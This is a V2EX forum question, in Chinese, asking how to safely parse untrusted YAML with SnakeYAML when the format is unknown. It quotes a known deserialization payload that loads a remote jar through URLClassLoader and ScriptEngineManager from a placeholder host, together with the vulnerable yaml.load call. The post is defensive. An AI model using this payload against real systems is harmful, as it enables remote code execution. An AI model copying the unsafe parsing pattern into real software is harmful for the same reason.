目前有这么一个需求,需要解析一个不确定格式的 yaml 文件为 json 。但是如果 yaml 是恶意的,如
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://x.x.x.x/doSomething.jar"]
]]
]
通过 snakeyaml 方法解析
Yaml yaml = new Yaml(); //因为不能确定 yaml 具体格式,所以不能通过 Constructor 的方式避免漏洞
Object obj = yaml.load(yamlString);
此时就会有远程执行的问题 请教大家这个问题如何解决呢,通过参数校验 yaml 内容也不太好解决,因为可能 yaml 会有其他变形
这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。
V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。
V2EX is a community of developers, designers and creative people.